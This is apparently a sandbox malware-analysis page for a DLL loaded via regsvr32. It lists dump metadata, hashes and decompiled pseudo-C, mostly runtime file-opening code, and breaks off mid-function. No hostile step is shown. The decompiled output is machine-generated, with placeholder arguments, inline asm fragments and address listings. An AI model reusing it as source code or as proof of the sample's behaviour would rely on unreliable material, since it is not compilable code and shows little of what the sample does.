Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerPresentTerminate
String ID:
API String ID: 1269745586-0
Opcode ID: 321b642bfec7a6f1dadb1bd341bddc39a8aa69b10b2296bb4ab610f313e6d1f3
Instruction ID: 835944f69651f3f6f74d160af7696ae384885add9193a4e3c2f125976fc509a9
Opcode Fuzzy Hash: 321b642bfec7a6f1dadb1bd341bddc39a8aa69b10b2296bb4ab610f313e6d1f3
Instruction Fuzzy Hash: 06012C35224A8186EB21DB60F84439E73A4FB9A745F414125EACE47B64EF7CC689CF10

Uniqueness

Uniqueness Score: -1.00%

Function 10048210 Relevance: 8.0, APIs: 5, Instructions: 527
fileCOMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 74%

			E10048210(signed int __ebx, void* __edx, long long __rbx, long long __rcx, signed int* __rdx, signed int __rdi, long long __rsi, long long __rbp, signed long long __r8, long long __r12, long long __r13, long long __r14, long long __r15, void* _a8, void* _a24, signed int _a32, intOrPtr _a40, signed int _a48) {
				void* _v8;
				void* _v16;
				void* _v24;
				void* _v32;
				long long _v40;
				long long _v48;
				void* _v56;
				long long _v64;
				signed int _v88;
				char _v104;
				char _v108;
				signed int _v112;
				signed short _v116;
				signed int _v119;
				char _v120;
				signed int _v136;
				signed int _v144;
				signed int _v152;
				signed int _t140;
				signed int _t141;
				signed int _t143;
				signed int _t146;
				signed int _t150;
				signed int _t156;
				signed int _t163;
				signed int _t191;
				signed int _t193;
				signed int _t195;
				signed int _t204;
				signed short _t211;
				signed int _t230;
				signed int _t231;
				signed int _t232;
				void* _t233;
				signed short _t238;
				signed int _t250;
				signed int _t251;
				signed int _t252;
				signed int _t253;
				signed int* _t263;
				signed long long _t264;
				signed int* _t268;
				intOrPtr _t270;
				signed int* _t273;
				signed int* _t275;
				signed int* _t277;
				signed long long _t282;
				signed long long _t283;
				signed long long _t284;
				intOrPtr _t291;
				signed long long _t300;
				signed long long _t301;
				signed long long _t302;
				signed long long _t303;
				signed int _t308;
				signed int* _t314;
				signed long long _t315;
				signed long long _t316;
				char* _t321;
				long long _t322;
				long long _t324;
				long long _t328;
				signed long long _t329;
				void* _t330;
				signed long long _t332;

				_t328 = __r15;
				_t326 = __r14;
				_t324 = __r13;
				_t322 = __r12;
				_t315 = __r8;
				_t312 = __rbp;
				_t310 = __rsi;
				_t308 = __rdi;
				_t295 = __rdx;
				_t191 = __ebx;
				_a24 = __r8;
				_a8 = __rcx;
				_t263 = _t314;
				 *((long long*)(_t263 - 8)) = __rbx;
				 *((long long*)(_t263 - 0x10)) = __rbp;
				 *((long long*)(_t263 - 0x18)) = __rsi;
				 *((long long*)(_t263 - 0x20)) = __rdi;
				_t250 = 0;
				_t253 = r9d;
				_t277 = __rdx;
				 *(_t263 - 0x68) = 0x18;
				_t8 = _t308 + 1; // 0x1
				_t251 = _t8;
				 *((long long*)(_t263 - 0x38)) = __r14;
				 *((intOrPtr*)(_t263 - 0x70)) = 0;
				 *((intOrPtr*)(_t263 - 0x6c)) = 0;
				_a32 = dil;
				 *((long long*)(_t263 - 0x60)) = __rdi;
				if(r9b >= 0) {
					_v88 = _t251;
					r14b = 0;
					__eflags = r14b;
				} else {
					 *((intOrPtr*)(_t263 - 0x58)) = 0;
					r14b = 0x10;
				}
				if(E1004EC20(_t263, _t277,  &_v112, _t295, _t308, _t310, _t312, _t315) != 0) {
					r9d = 0;
					r8d = 0;
					_v152 = _t308;
					E100342D0(0, _t295, _t315);
				}
				_t281 =  &_v108;
				if(E10033350(_t263, _t277,  &_v108, _t295, _t308, _t310, _t312, _t315) != 0) {
					r9d = 0;
					r8d = 0;
					_v152 = _t308;
					E100342D0(0, _t295, _t315);
				}
				asm("bt ebp, 0xf");
				if(0 >= 0) {
					if((_t253 & 0x00074000) == 0) {
						__eflags = _v112 - 0x8000;
						if(_v112 != 0x8000) {
							r14b = r14b | 0x00000080;
							__eflags = r14b;
						}
					} else {
						r14b = r14b | 0x00000080;
					}
				}
				_t193 = _t253 & 0x00000003;
				if(_t193 == 0) {
					_t238 = 0x80000000;
					_v116 = 0x80000000;
					L19:
					_v48 = _t324;
					_v64 = _t328;
					_t195 = _a40 - 0x10;
					__eflags = _t195;
					r13d = 2;
					if(_t195 == 0) {
						r15d = _t250;
						L29:
						_t140 = _t253 & 0x00000700;
						__eflags = _t140 - 0x400;
						if(_t140 > 0x400) {
							__eflags = _t140 - 0x500;
							if(__eflags == 0) {
								L43:
								asm("bt ebp, 0x8");
								_v40 = _t322;
								r12d = 0x80;
								if(__eflags < 0) {
									__eflags =  !( *0x100b76c8 & 0x000000ff) & _a48 & 0x00000080;
									r12d =  ==  ? 1 : r12d;
								}
								__eflags = bpl & 0x00000040;
								if(__eflags != 0) {
									asm("bts edx, 0x10");
									asm("inc ecx");
									__eflags = _v108 - r13d;
									_v116 = _t238;
									if(__eflags == 0) {
										r15d = r15d | 0x00000004;
										__eflags = r15d;
									}
								}
								asm("bt ebp, 0xc");
								if(__eflags < 0) {
									asm("inc ecx");
								}
								__eflags = bpl & 0x00000020;
								if((bpl & 0x00000020) == 0) {
									__eflags = bpl & 0x00000010;
									if((bpl & 0x00000010) != 0) {
										asm("inc ecx");
									}
								} else {
									asm("inc ecx");
								}
								_t141 = E1003D4F0(_t250, _t277, _t295, _t308, _t310, _t312, _t315, _t322, _t324, _t326, _t328);
								__eflags = _t141 - 0xffffffff;
								 *_t277 = _t141;
								if(_t141 != 0xffffffff) {
									_t264 = _a8;
									_t282 = _a24;
									_v136 = _t308;
									_v144 = r12d;
									r12d = _v116;
									_t321 =  &_v104;
									r8d = r15d;
									_t239 = r12d;
									 *_t264 = 1;
									_v152 = _t251;
									CreateFileA(??, ??, ??, ??, ??, ??, ??);
									__eflags = _t264 - 0xffffffff;
									_t329 = _t264;
									if(_t264 != 0xffffffff) {
										_t283 = _t264;
										_t143 = GetFileType(??);
										__eflags = _t143;
										if(_t143 != 0) {
											__eflags = _t143 - r13d;
											if(_t143 != r13d) {
												__eflags = _t143 - 3;
												if(_t143 == 3) {
													r14b = r14b | 0x00000008;
													__eflags = r14b;
												}
											} else {
												r14b = r14b | 0x00000040;
											}
											E1003D120(_t143,  *_t277, _t250, _t277, _t329, _t308, _t310, _t312);
											r14b = r14b | 0x00000001;
											_t330 = 0x100b8b20;
											_t284 = _t283 << 6;
											 *( *((intOrPtr*)(0x100b8b20 + ( *_t277 >> 5) * 8)) + _t284 + 8) = r14b;
											_t300 =  *_t277 >> 5;
											_t268 =  *((intOrPtr*)(0x100b8b20 + _t300 * 8));
											_t285 = _t284 << 6;
											 *(_t268 + (_t284 << 6) + 0x38) =  *(_t268 + (_t284 << 6) + 0x38) & 0x00000080;
											_t146 = r14b & 0x48;
											__eflags = _t146;
											_v119 = _t146;
											if(_t146 != 0) {
												L77:
												__eflags = r14b;
												if(r14b >= 0) {
													L132:
													_t270 =  *((intOrPtr*)(_t330 + ( *_t277 >> 5) * 8));
													_t301 = _t300 << 6;
													 *(_t270 + _t301 + 0x38) =  *(_t270 + _t301 + 0x38) & 0x00000080;
													 *(_t270 + _t301 + 0x38) =  *(_t270 + _t301 + 0x38) | _a32 & 0x7f;
													r8b = _t146;
													r8d = r8d & 0x0000001f;
													_t302 =  *((intOrPtr*)(_t330 + ( *_t277 >> 5) * 8));
													_t316 = _t315 << 6;
													 *(_t302 + _t316 + 0x38) =  *(_t302 + _t316 + 0x38) & 0x0000007f;
													 *(_t302 + _t316 + 0x38) =  *(_t302 + _t316 + 0x38) | _t253 >> 0x00000010 << 0x00000007;
													__eflags = _v119 - dil;
													if(_v119 == dil) {
														__eflags = bpl & 0x00000008;
														if((bpl & 0x00000008) != 0) {
															_t291 =  *((intOrPtr*)(_t330 + ( *_t277 >> 5) * 8));
															_t303 = _t302 << 6;
															_t125 = _t291 + _t303 + 8;
															 *_t125 =  *(_t291 + _t303 + 8) | 0x00000020;
															__eflags =  *_t125;
														}
													}
													goto L135;
												}
												__eflags = _t253 & 0x00074000;
												if((_t253 & 0x00074000) == 0) {
													_t163 = _v112 & 0x00074000;
													__eflags = _t163;
													if(_t163 != 0) {
														_t253 = _t253 | _t163;
														__eflags = _t253;
													} else {
														asm("bts ebp, 0xe");
													}
												}
												_t146 = _t253 & 0x00074000;
												__eflags = _t146 - 0x20000;
												if(_t146 > 0x20000) {
													__eflags = _t146 - 0x24000;
													if(_t146 == 0x24000) {
														goto L94;
													}
													__eflags = _t146 - 0x40000;
													if(_t146 == 0x40000) {
														L93:
														_a32 = 1;
														goto L95;
													}
													__eflags = _t146 - 0x44000;
													if(_t146 != 0x44000) {
														goto L95;
													}
													goto L93;
												} else {
													__eflags = _t146 - 0x20000;
													if(_t146 == 0x20000) {
														L94:
														_a32 = r13b;
														L95:
														__eflags = _t253 & 0x00070000;
														if((_t253 & 0x00070000) == 0) {
															goto L132;
														}
														__eflags = r14b & 0x00000040;
														_v116 = _t250;
														if((r14b & 0x00000040) != 0) {
															goto L132;
														}
														r12d = r12d & 0xc0000000;
														__eflags = r12d - 0x40000000;
														if(r12d == 0x40000000) {
															__eflags = _t251;
															if(_t251 == 0) {
																goto L132;
															}
															__eflags = _t251 - r13d;
															if(_t251 <= r13d) {
																L104:
																_t252 = _t250;
																_t204 = _a32 - 1;
																__eflags = _t204;
																if(_t204 == 0) {
																	_v116 = 0xbfbbef;
																	r13d = 3;
																	while(1) {
																		L130:
																		_t268 = _t252;
																		r8d = r13d;
																		_t300 = _t314 +  &(_t268[0x11]);
																		r8d = r8d - _t252;
																		_t146 = E1003E540(_t191,  *_t277, _t277, _t285, _t300, _t308, _t310, _t312, _t315, _t321, _t322, _t324, _t326, _t330);
																		__eflags = _t146 - 0xffffffff;
																		if(__eflags == 0) {
																			goto L69;
																		}
																		_t252 = _t252 + _t146;
																		__eflags = r13d - _t252;
																		if(r13d > _t252) {
																			continue;
																		}
																		goto L132;
																	}
																	goto L69;
																}
																__eflags = _t204 - 1;
																if(_t204 != 1) {
																	goto L132;
																}
																_v116 = 0xfeff;
																goto L130;
															}
															__eflags = _t251 - 4;
															if(__eflags <= 0) {
																r8d = r13d;
																_t239 = 0;
																_t146 = E10044670(_t191,  *_t277, 0, __eflags, _t268, _t277, _t300, _t308, _t310, _t312, _t315);
																__eflags = _t268;
																if(__eflags == 0) {
																	goto L104;
																}
																r8d = 0;
																_t146 = E10044670(_t191,  *_t277, 0, __eflags, _t268, _t277, _t300, _t308, _t310, _t312, _t315);
																__eflags = _t268 - 0xffffffff;
																if(__eflags != 0) {
																	goto L132;
																}
																E1003CB60( *_t277, 0, _t250, __eflags, _t268, _t277, _t308, _t310, _t312, _t315);
																E10032420(_t268);
																_t250 =  *_t268;
																goto L135;
															}
															__eflags = _t251 - 5;
															if(_t251 == 5) {
																goto L104;
															}
															goto L132;
														}
														__eflags = r12d - 0x80000000;
														if(r12d == 0x80000000) {
															L109:
															_t92 =  &_v116; // 0xc4
															_t300 = _t92;
															r8d = 3;
															_t146 = E1004E0F0(_t146,  *_t277, _t250, _t253, _t277, _t300, _t308, _t310, _t322, _t324, _t326, _t330);
															__eflags = _t146 - 0xffffffff;
															if(__eflags == 0) {
																goto L69;
															}
															__eflags = _t146 - r13d;
															_t211 = _v116;
															if(_t146 == r13d) {
																L114:
																_t156 = _t211 & 0x0000ffff;
																__eflags = _t156 - 0xfffe;
																if(__eflags != 0) {
																	__eflags = _t156 - 0xfeff;
																	if(__eflags != 0) {
																		L119:
																		r8d = 0;
																		_t146 = E1003D760(_t191,  *_t277, 0, __eflags, _t268, _t277, _t308, _t310, _t312, _t315);
																		__eflags = _t146 - 0xffffffff;
																		if(__eflags != 0) {
																			goto L132;
																		}
																		E1003CB60( *_t277, 0, _t250, __eflags, _t268, _t277, _t308, _t310, _t312, _t315);
																		E10032420(_t268);
																		_t250 =  *_t268;
																		goto L135;
																	}
																	r8d = 0;
																	_t239 = r13d;
																	_t146 = E1003D760(_t191,  *_t277, r13d, __eflags, _t268, _t277, _t308, _t310, _t312, _t315);
																	__eflags = _t146 - 0xffffffff;
																	if(__eflags == 0) {
																		goto L69;
																	}
																	_a32 = r13b;
																	goto L132;
																}
																E1003CB60( *_t277, _t239, _t250, __eflags, _t268, _t277, _t308, _t310, _t312, _t315);
																E10032420(_t268);
																_t250 = 0x16;
																 *_t268 = 0x16;
																goto L135;
															}
															__eflags = _t146 - 3;
															if(__eflags != 0) {
																goto L119;
															}
															__eflags = _t211 - 0xbfbbef;
															if(_t211 != 0xbfbbef) {
																goto L114;
															}
															_a32 = 1;
															goto L132;
														}
														__eflags = r12d - 0xc0000000;
														if(r12d != 0xc0000000) {
															goto L132;
														}
														__eflags = _t251;
														if(_t251 == 0) {
															goto L132;
														}
														__eflags = _t251 - r13d;
														if(_t251 <= r13d) {
															goto L104;
														}
														__eflags = _t251 - 4;
														if(__eflags <= 0) {
															r8d = r13d;
															_t239 = 0;
															_t146 = E10044670(_t191,  *_t277, 0, __eflags, _t268, _t277, _t300, _t308, _t310, _t312, _t315);
															__eflags = _t268;
															if(__eflags == 0) {
																goto L104;
															}
															r8d = 0;
															_t239 = 0;
															_t146 = E10044670(_t191,  *_t277, 0, __eflags, _t268, _t277, _t300, _t308, _t310, _t312, _t315);
															__eflags = _t268 - 0xffffffff;
															if(__eflags == 0) {
																goto L69;
															}
															goto L109;
														}
														__eflags = _t251 - 5;
														if(_t251 != 5) {
															goto L132;
														}
														goto L104;
													}
													__eflags = _t146 - 0x4000;
													if(_t146 == 0x4000) {
														_a32 = dil;
														goto L95;
													}
													__eflags = _t146 - 0x10000;
													if(_t146 == 0x10000) {
														L87:
														_t146 = _t253 & 0x00000301;
														__eflags = _t146 - 0x301;
														if(_t146 == 0x301) {
															_a32 = r13b;
														}
														goto L95;
													}
													__eflags = _t146 - 0x14000;
													if(_t146 != 0x14000) {
														goto L95;
													}
													goto L87;
												}
											} else {
												__eflags = r14b;
												if(r14b >= 0) {
													goto L77;
												}
												__eflags = r13b & bpl;
												if(__eflags == 0) {
													goto L77;
												}
												r8d = r13d;
												_t239 = 0xffffffff;
												_t332 = E1003D760(_t191,  *_t277, 0xffffffff, __eflags, _t268, _t277, _t308, _t310, _t312, _t315);
												__eflags = r15d - 0xffffffff;
												if(r15d != 0xffffffff) {
													_t75 =  &_v120; // 0xc0
													_t300 = _t75;
													r8d = 1;
													_v120 = dil;
													__eflags = E1004E0F0(_t164,  *_t277, _t250, _t253, _t277, _t300, _t308, _t310, _t322, _t324, _t326, _t332);
													if(__eflags != 0) {
														L73:
														r8d = 0;
														_t239 = 0;
														_t146 = E1003D760(_t191,  *_t277, 0, __eflags, _t268, _t277, _t308, _t310, _t312, _t315);
														__eflags = _t146 - 0xffffffff;
														if(__eflags != 0) {
															_t330 = 0x100b8b20;
															goto L77;
														}
														E1003CB60( *_t277, 0, _t250, __eflags, _t268, _t277, _t308, _t310, _t312, _t315);
														E10032420(_t268);
														_t250 =  *_t268;
														L135:
														_t150 = _t250;
														goto L136;
													}
													__eflags = _v120 - 0x1a;
													if(__eflags != 0) {
														goto L73;
													}
													_t300 = _t332;
													__eflags = E1004DF10(_t191,  *_t277, __eflags, _t268, _t277, _t300, _t308, _t310, _t312, _t315, _t321, _t322, _t324, _t326, _t332) - 0xffffffff;
													if(__eflags == 0) {
														L69:
														E1003CB60( *_t277, _t239, _t250, __eflags, _t268, _t277, _t308, _t310, _t312, _t315);
														E10032420(_t268);
														_t250 =  *_t268;
														goto L135;
													}
													goto L73;
												}
												_t146 = E10032450(_t268);
												__eflags =  *_t268 - 0x83;
												if(__eflags == 0) {
													_t330 = 0x100b8b20;
													goto L77;
												}
												goto L69;
											}
										}
										_t273 =  *((intOrPtr*)(0x100b8b20 + ( *_t277 >> 5) * 8));
										 *(_t273 + (_t283 << 6) + 8) =  *(_t273 + (_t283 << 6) + 8) & 0x000000fe;
										CloseHandle(??);
										E10032480(GetLastError(), _t273);
										E10032420(_t273);
										_t250 =  *_t273;
										goto L135;
									}
									_t275 =  *((intOrPtr*)(0x100b8b20 + ( *_t277 >> 5) * 8));
									 *(_t275 + (_t282 << 6) + 8) =  *(_t275 + (_t282 << 6) + 8) & 0x000000fe;
									E10032480(GetLastError(), _t275);
									E10032420(_t275);
									_t250 =  *_t275;
									goto L135;
								} else {
									E10032450(_t263);
									 *_t263 = _t250;
									 *_t277 = 0xffffffff;
									E10032420(_t263);
									 *_t263 = 0x18;
									E10032420(_t263);
									_t150 =  *_t263;
									L136:
									L137:
									L138:
									return _t150;
								}
							}
							__eflags = _t140 - 0x600;
							if(__eflags == 0) {
								L42:
								_t251 = 5;
								goto L43;
							}
							__eflags = _t140 - 0x700;
							if(__eflags == 0) {
								goto L43;
							}
							L41:
							E10032450(_t263);
							 *_t263 = _t250;
							 *_t277 = 0xffffffff;
							E10032420(_t263);
							r9d = 0;
							r8d = 0;
							 *_t263 = 0x16;
							_v152 = _t308;
							E10034370(_t277, _t281, _t295, _t308, _t310, _t312, _t315);
							_t150 = 0x16;
							goto L137;
						}
						__eflags = _t140 - 0x400;
						if(__eflags == 0) {
							L37:
							_t251 = 3;
							goto L43;
						}
						__eflags = _t140;
						if(__eflags == 0) {
							goto L37;
						}
						__eflags = _t140 - 0x100;
						if(__eflags == 0) {
							_t251 = 4;
							goto L43;
						}
						__eflags = _t140 - 0x200;
						if(__eflags == 0) {
							goto L42;
						}
						__eflags = _t140 - 0x300;
						if(__eflags != 0) {
							goto L41;
						}
						_t251 = r13d;
						goto L43;
					}
					_t230 = _t195 - 0x10;
					__eflags = _t230;
					if(_t230 == 0) {
						r15d = _t251;
						goto L29;
					}
					_t231 = _t230 - 0x10;
					__eflags = _t231;
					if(_t231 == 0) {
						r15d = r13d;
						goto L29;
					}
					_t232 = _t231 - 0x10;
					__eflags = _t232;
					if(_t232 == 0) {
						r15d = 3;
						goto L29;
					}
					__eflags = _t232 - 0x40;
					if(_t232 != 0x40) {
						goto L41;
					}
					__eflags = _t238 - 0x80000000;
					r15d = _t250;
					r15b = _t238 == 0x80000000;
					goto L29;
				}
				_t233 = _t193 - _t251;
				if(_t233 == 0) {
					_t238 = 0x40000000;
					_v116 = 0x40000000;
					goto L19;
				}
				if(_t233 == _t251) {
					_t238 = 0xc0000000;
					_v116 = 0xc0000000;
					goto L19;
				}
				E10032450(_t263);
				 *_t263 = _t250;
				 *_t277 = 0xffffffff;
				E10032420(_t263);
				r9d = 0;
				r8d = 0;
				 *_t263 = 0x16;
				_v152 = _t308;
				E10034370(_t277, _t281, _t295, _t308, _t310, _t312, _t315);
				_t150 = 0x16;
				goto L138;
			}

0x10048210
0x10048210
0x10048210
0x10048210
0x10048210
0x10048210
0x10048210
0x10048210
0x10048210
0x10048210
0x10048210
0x10048215
0x1004821a
0x10048224
0x10048228
0x1004822c
0x10048230
0x10048234
0x10048239
0x1004823c
0x1004823f
0x10048246
0x10048246
0x10048249
0x1004824d
0x10048250
0x10048253
0x1004825b
0x1004825f
0x10048269
0x1004826d
0x1004826d
0x10048261
0x10048261
0x10048264
0x10048264
0x1004827c
0x1004827e
0x10048281
0x10048288
0x1004828d
0x1004828d
0x10048292
0x1004829e
0x100482a0
0x100482a3
0x100482aa
0x100482af
0x100482af
0x100482b4
0x100482b8
0x100482c0
0x100482c8
0x100482d0
0x100482d2
0x100482d2
0x100482d2
0x100482c2
0x100482c2
0x100482c2
0x100482c0
0x100482d8
0x100482db
0x10048331
0x10048336
0x1004833a
0x10048341
0x10048349
0x1004834e
0x1004834e
0x10048351
0x10048357
0x1004838e
0x10048391
0x10048393
0x10048398
0x1004839d
0x100483d2
0x100483d7
0x10048422
0x10048422
0x10048426
0x1004842e
0x10048434
0x10048446
0x1004844d
0x1004844d
0x10048451
0x10048455
0x10048457
0x1004845b
0x10048460
0x10048465
0x10048469
0x1004846b
0x1004846b
0x1004846b
0x10048469
0x1004846f
0x10048473
0x10048475
0x10048475
0x1004847a
0x1004847e
0x10048487
0x1004848b
0x1004848d
0x1004848d
0x10048480
0x10048480
0x10048480
0x10048492
0x10048497
0x1004849a
0x1004849c
0x100484c2
0x100484ca
0x100484d2
0x100484d7
0x100484dc
0x100484e1
0x100484e6
0x100484e9
0x100484ec
0x100484f2
0x100484f6
0x100484fc
0x10048500
0x10048503
0x10048541
0x10048544
0x1004854a
0x1004854c
0x10048593
0x10048596
0x1004859e
0x100485a1
0x100485a3
0x100485a3
0x100485a3
0x10048598
0x10048598
0x10048598
0x100485ac
0x100485b4
0x100485bd
0x100485cf
0x100485d3
0x100485e0
0x100485e7
0x100485eb
0x100485ef
0x100485f8
0x100485f8
0x100485fa
0x100485fe
0x100486b3
0x100486b3
0x100486b6
0x10048945
0x10048954
0x10048960
0x10048964
0x1004896c
0x10048973
0x1004897f
0x10048986
0x1004898a
0x10048991
0x10048997
0x1004899c
0x100489a1
0x100489a3
0x100489a7
0x100489b8
0x100489bc
0x100489c0
0x100489c0
0x100489c0
0x100489c0
0x100489a7
0x00000000
0x100489a1
0x100486bc
0x100486c2
0x100486c8
0x100486c8
0x100486cd
0x100486d5
0x100486d5
0x100486cf
0x100486cf
0x100486cf
0x100486cd
0x100486d9
0x100486de
0x100486e3
0x10048723
0x10048728
0x00000000
0x00000000
0x1004872a
0x1004872f
0x10048738
0x10048738
0x00000000
0x10048738
0x10048731
0x10048736
0x00000000
0x00000000
0x00000000
0x100486e5
0x100486e5
0x100486ea
0x10048742
0x10048742
0x1004874a
0x1004874a
0x10048750
0x00000000
0x00000000
0x10048756
0x1004875a
0x1004875e
0x00000000
0x00000000
0x10048764
0x1004876b
0x10048772
0x100488af
0x100488b1
0x00000000
0x00000000
0x100488b7
0x100488ba
0x100487a9
0x100487b1
0x100487b3
0x100487b3
0x100487b6
0x1004890a
0x10048912
0x10048920
0x10048920
0x10048922
0x10048925
0x10048928
0x1004892d
0x10048930
0x10048935
0x10048938
0x00000000
0x00000000
0x1004893e
0x10048940
0x10048943
0x00000000
0x00000000
0x00000000
0x10048943
0x00000000
0x10048920
0x100487bc
0x100487bf
0x00000000
0x00000000
0x100487c5
0x00000000
0x100487c5
0x100488c0
0x100488c3
0x100488d2
0x100488d5
0x100488d7
0x100488dc
0x100488df
0x00000000
0x00000000
0x100488e7
0x100488ec
0x100488f1
0x100488f5
0x00000000
0x00000000
0x100488f9
0x100488fe
0x10048903
0x00000000
0x10048903
0x100488c5
0x100488c8
0x00000000
0x00000000
0x00000000
0x100488ce
0x10048778
0x1004877f
0x100487f9
0x100487fb
0x100487fb
0x10048800
0x10048806
0x1004880b
0x1004880e
0x00000000
0x00000000
0x10048814
0x10048817
0x1004881b
0x10048837
0x10048837
0x1004883a
0x1004883f
0x1004885d
0x10048862
0x10048887
0x10048889
0x1004888e
0x10048893
0x10048896
0x00000000
0x00000000
0x1004889e
0x100488a3
0x100488a8
0x00000000
0x100488a8
0x10048866
0x10048869
0x1004886c
0x10048871
0x10048874
0x00000000
0x00000000
0x1004887a
0x00000000
0x1004887a
0x10048843
0x10048848
0x1004884d
0x10048852
0x00000000
0x10048852
0x1004881d
0x10048820
0x00000000
0x00000000
0x10048822
0x10048828
0x00000000
0x00000000
0x1004882a
0x00000000
0x1004882a
0x10048781
0x10048788
0x00000000
0x00000000
0x1004878e
0x10048790
0x00000000
0x00000000
0x10048796
0x10048799
0x00000000
0x00000000
0x1004879b
0x1004879e
0x100487d4
0x100487d7
0x100487d9
0x100487de
0x100487e1
0x00000000
0x00000000
0x100487e5
0x100487e8
0x100487ea
0x100487ef
0x100487f3
0x00000000
0x00000000
0x00000000
0x100487f3
0x100487a0
0x100487a3
0x00000000
0x00000000
0x00000000
0x100487a3
0x100486ec
0x100486f1
0x10048719
0x00000000
0x10048719
0x100486f3
0x100486f8
0x10048701
0x10048703
0x10048708
0x1004870d
0x1004870f
0x1004870f
0x00000000
0x1004870d
0x100486fa
0x100486ff
0x00000000
0x00000000
0x00000000
0x100486ff
0x10048604
0x10048604
0x10048607
0x00000000
0x00000000
0x1004860d
0x10048610
0x00000000
0x00000000
0x10048618
0x1004861b
0x10048625
0x10048628
0x1004862c
0x10048650
0x10048650
0x10048655
0x1004865b
0x10048665
0x10048667
0x1004867f
0x10048681
0x10048684
0x10048686
0x1004868b
0x1004868e
0x100486ac
0x00000000
0x100486ac
0x10048692
0x10048697
0x1004869c
0x100489c5
0x100489c5
0x00000000
0x100489c5
0x10048669
0x1004866e
0x00000000
0x00000000
0x10048672
0x1004867a
0x1004867d
0x1004863b
0x1004863d
0x10048642
0x10048647
0x00000000
0x10048647
0x00000000
0x1004867d
0x1004862e
0x10048633
0x10048639
0x100486a3
0x00000000
0x100486a3
0x00000000
0x10048639
0x100485fe
0x10048564
0x1004856c
0x10048574
0x10048582
0x10048587
0x1004858c
0x00000000
0x1004858c
0x1004851b
0x10048523
0x10048530
0x10048535
0x1004853a
0x00000000
0x1004849e
0x1004849e
0x100484a3
0x100484a5
0x100484ab
0x100484b0
0x100484b6
0x100484bb
0x100489c7
0x100489cf
0x100489dc
0x10048a0b
0x10048a0b
0x1004849c
0x100483d9
0x100483de
0x1004841d
0x1004841d
0x00000000
0x1004841d
0x100483e0
0x100483e5
0x00000000
0x00000000
0x100483e7
0x100483e7
0x100483ec
0x100483ee
0x100483f4
0x100483f9
0x100483fc
0x10048403
0x10048409
0x1004840e
0x10048413
0x00000000
0x10048413
0x1004839f
0x100483a4
0x100483cb
0x100483cb
0x00000000
0x100483cb
0x100483a6
0x100483a8
0x00000000
0x00000000
0x100483aa
0x100483af
0x100483c4
0x00000000
0x100483c4
0x100483b1
0x100483b6
0x00000000
0x00000000
0x100483b8
0x100483bd
0x00000000
0x00000000
0x100483bf
0x00000000
0x100483bf
0x10048359
0x10048359
0x1004835c
0x10048389
0x00000000
0x10048389
0x1004835e
0x1004835e
0x10048361
0x10048384
0x00000000
0x10048384
0x10048363
0x10048363
0x10048366
0x1004837c
0x00000000
0x1004837c
0x10048368
0x1004836b
0x00000000
0x00000000
0x1004836d
0x10048373
0x10048376
0x00000000
0x10048376
0x100482dd
0x100482df
0x10048326
0x1004832b
0x00000000
0x1004832b
0x100482e3
0x1004831b
0x10048320
0x00000000
0x10048320
0x100482e5
0x100482ea
0x100482ec
0x100482f2
0x100482f7
0x100482fa
0x10048301
0x10048307
0x1004830c
0x10048311
0x00000000

APIs

CreateFileA.KERNEL32 ref: 100484F6
GetLastError.KERNEL32 ref: 10048528
GetFileType.KERNEL32 ref: 10048544
CloseHandle.KERNEL32 ref: 10048574
GetLastError.KERNEL32 ref: 1004857A

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleType
String ID:
API String ID: 2834158390-0
Opcode ID: 78e7e5e6bdd051270036aa21d3c9427b7b30e789073267a609de866f5aca4836
Instruction ID: 707d7b308c40163d82b91c21e7a6413cf03b5fb09a8463f2fb85f442a69d6e39
Opcode Fuzzy Hash: 78e7e5e6bdd051270036aa21d3c9427b7b30e789073267a609de866f5aca4836
Instruction Fuzzy Hash: 01125876608A8086D761CF35E49036E37A0F381BA4F354A35DB95C77E5CB38DA45CB0A

Uniqueness

Uniqueness Score: -1.00%

Function 1002C9A8 Relevance: 7.8, APIs: 5, Instructions: 254
COMMONCrypto

Download Yara Rule

C-Code - Quality: 58%

			E1002C9A8(void* __ebx, signed int __ecx, signed int __edx, signed int __edi, void* __esi, unsigned long long __rax, intOrPtr __rcx, long long __rdx, void* __rdi, void* __rsi, void* __rbp, void* __r9, void* __r12, void* __r13, void* __r15, signed int _a8, signed int _a12, long long _a16, intOrPtr _a20, unsigned int _a24, unsigned long long _a32) {
				intOrPtr _v20;
				signed int _v40;
				intOrPtr _v48;
				void* _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed char _t129;
				signed int _t137;
				intOrPtr _t141;
				signed int _t144;
				void* _t152;
				void* _t154;
				void* _t156;
				void* _t159;
				signed int _t166;
				void* _t170;
				intOrPtr _t171;
				void* _t176;
				intOrPtr _t177;
				void* _t179;
				signed int _t184;
				signed int _t193;
				intOrPtr _t194;
				void* _t197;
				unsigned long long _t208;
				unsigned long long _t214;
				unsigned long long _t222;
				long long _t223;
				intOrPtr _t224;
				intOrPtr _t250;
				intOrPtr _t251;
				intOrPtr _t280;
				void* _t285;
				void* _t286;
				void* _t291;
				unsigned long long _t293;
				void* _t300;

				_t300 = __r15;
				_t291 = __r9;
